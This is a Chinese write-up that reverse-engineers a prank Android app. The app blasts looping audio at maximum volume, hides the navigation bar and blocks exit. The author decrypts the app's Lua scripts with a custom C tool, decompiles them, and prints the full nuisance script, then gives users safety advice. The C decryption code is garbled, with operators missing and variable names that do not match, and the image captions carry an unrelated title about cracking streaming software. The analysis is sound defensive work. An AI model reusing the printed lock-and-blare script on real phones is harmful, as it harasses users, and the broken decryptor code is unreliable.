0x00 事由

最近一些高校出现了会以最大音量外放音频且无法退出的恶搞Android App,造成了一些不好的影响。

恰好借这个机会尝试通过逆向工程分析其原理,同时这个App也使用了Lua脚本并进行了加密,也借此机会实践一下Lua脚本解密。

0x01 工具

下文中会给出Lua脚本的解密代码,需要使用 GCC/Clang 等C/C 编译器进行编译后执行。

0x02 基本结构

我们首先使用Apktool对其进行解包,假设App的文件名为App.apk

java -jar apktool.jar d App.apk 1

等待执行完后,打开解包生成的App文件夹

直播软件反编译教程(软件反编译破解)(1)

我们需要关注其中几个文件(夹)

查看AndroidManifest.xml的内容,可以发现以下样本App信息

0x03 分析Java部分

进入smail,我们可以看到Java部分的代码结构,可以看出存在com.androlua、com.nirenr、com.luajava等包名,搜索相关项目可以发现App的大部分代码均来自于AndroLua_pro。AndroLua_pro是一个使用Lua编写Android应用的项目,换而言之,Java部分极有可能并不是应用的主体部分,重要操作很有可能会写在Lua中。

除了AndroLua_pro的代码外,我们还发现了com.b.a.a com.b.a.b这两个经过混淆的包名,经过查证得知里面的代码来源于TextWarrior。

我们得知其Java代码基本都是来源于现有项目,无太大分析价值,我们将分析重点放于Lua脚本上。

0x04 分析C部分

在进入Lua部分前,我们使用文本编辑器查看assets文件中的init.lua和main.lua,会发现他们并不是Lua代码,也不是编译后的luac,可以得知Lua脚本被加密了,我们需要先对其进行解密。

AndroLua_Pro所使用的Lua工具LuaJava会加载依赖库libluajava.so,我们使用IDA打开这个文件。LuaJava会使用luaL_loadbuffer或者luaL_loadbufferx函数对Lua脚本进行加载,这个函数也是一个加入Lua脚本解密代码的常见位置,我们在IDA中找到这一函数,并使用自带插件对其进行反编译,可以看到如下内容

直播软件反编译教程(软件反编译破解)(2)

(上图为方便阅读,已反混淆变量名)与AndroLua_pro的原始代码比较,可以发现加入了Lua脚本解密的代码,我们可以参考这一代码,使用C语言编写一个简单的解密工具

#include <stdio.h> #include <stdlib.h> #include <string.h> unsigned char *decrypt(const unsigned char *buff, size_t size) { unsigned char *buff1 = (unsigned char *) malloc(size); buff1[0] = 27; int t = 0; for (int i = 1; i < size; i ) { t = size; buff1[i] = buff[i] ^ (t ((unsigned int) (((unsigned long) (-2139062143LL * t) >> 32) t) >> 7) ((signed int) (((unsigned long) (-2139062143LL * t) >> 32) t) < 0)); } return buff1; } unsigned char buff[20480]; int main(int argc, char *argv[]) { char Filename[20] = "main.lua"; if (argc == 2) strcpy(filename,argv[1]); printf("File name: %s \n", filename); FILE *fp = fopen(filename, "rb"); size_t size = 0; size = fread(buff, sizeof(unsigned char), 20480, fp); printf("File size: %ld \n", size); unsigned char *res = decrypt(buff, size); strcat(filename, "c"); FILE *fp1 = fopen(filename, "wb"); fwrite(res, sizeof(unsigned char), size, fp1); printf("Output: %s", filename); return 0; }

编译这一代码为decrypt.exe,并拷贝到assets文件夹下,执行以下命令来解密init.lua和main.lua

decrypt init.lua decrypt main.lua

解密后的文件为init.luac与main.luac,使用文本编辑器观察可以发现其仍然不是Lua代码,而是编译后的luac文件,我们还需要对其进行反编译。

0x05 分析Lua部分

使用unluac可以对luac文件进行反编译,执行以下指令

java -jar unluac.jar init.luac > init-decomp.lua java -jar unluac.jar main.luac > main-decomp.lua

通过反编译,我们可以得到真正的Lua代码文件init-decomp.lua和main-decomp.lua。查看init-decomp.lua,代码的用途是声明应用基本信息

local L0_0 appname = "\233\128\129\231\187\153\230\156\128\229\165\189\231\154\132TA" appver = "1.0" appcode = "10" appsdk = "15" path_pattern = "" packagename = "com.sgzh.dt" theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth" app_key = "" app_channel = "" developer = "" description = "" debugmode = false L0_0 = { "INTERNET", "WRITE_EXTERNAL_STORAGE" } user_permission = L0_0

执行具体功能的代码位于main-decomp.lua

require("import") import("android.app.*") import("android.os.*") import("android.widget.*") import("android.view.*") import("android.view.View") import("android.content.Context") import("android.media.MediaPlayer") import("android.media.AudioManager") import("com.androlua.Ticker") activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) m = MediaPlayer() m.reset() m.setDataSource(activity.getLuaDir() .. "/0.mp3") m.prepare() m.start() m.setLooping(true) ti = Ticker() ti.Period = 10 function ti.onTick() activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE) end ti.start() function onKeyDown(A0_0, A1_1) if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) end return true end

具体的操作有以下内容

0x06 结语

虽然这个App是以恶搞为目的,可能App作者并不存在主观恶意,但是这种行为并不值得提倡,经过QQ群的传播,和病毒已经没有本质上的差距,希望以后可以不再发生这样的事情。对于用户来说,切记不要安装未知应用,这是保护自己和手机的最根本的手段。

我手里拿到的版本没有监测到把手机数据发送到远程服务器(即没有窃取行为,虽然引入几个第三方包的目的不明至少说明它可以存在这个功能)。

不排除有人会利用软件逆向后修改软件行为(不要听风就是雨,存不存在需要好好动态分析软件行为,我懒,随便看了看,没有)

也没什么主要注意的,卸载即可,最大的补救措施还是停止软件传播,修改自己的重要软件密码,绑定好自己的手机。

如果不是专业玩机的尽量不要去打开自己手机的root,如果root打开的话是真的可以为所欲为。

有应用请求敏感权限(读取联系人,短信)时请注意看字儿,别直接确定了。

不要瞎装来历不明的软件,apk安装包实在是太容易被改包了。

软件通过权限校验以后对很多第三方api(腾讯开放平台,阿里云oss服务)远程服务器来说是合法的,杀毒软件能不能检测出来是个玄学问题(比如我传输一张截屏到云盘里面,是一个最简单的图传功能,目标地址又是bat企业的开放平台,每个APP都会有,不认为是非法操作)。


这个APP大量的代码源于androlua

直播软件反编译教程(软件反编译破解)(3)

另外有几个东西没有动态抓包它到底调用没调用不敢下结论(加更(没有调用))

直播软件反编译教程(软件反编译破解)(4)

lua部分的代码就每个一个tick循环调大音量播放”o泡果奶”

大佬的方法破解lua部分代码,因anrdolua的版本不同,逆向解码算法不同,需要Ida辅助。APP的篡改方式也是一样,直接替换资源重新打包,lua重新加密后打包(需要配合加密算法)

另:

直播软件反编译教程(软件反编译破解)(5)

整蛊APP把自己的ID留在mainfest里可不是什么好习惯

PS:卸载即可,安卓安全权限还是相当高的

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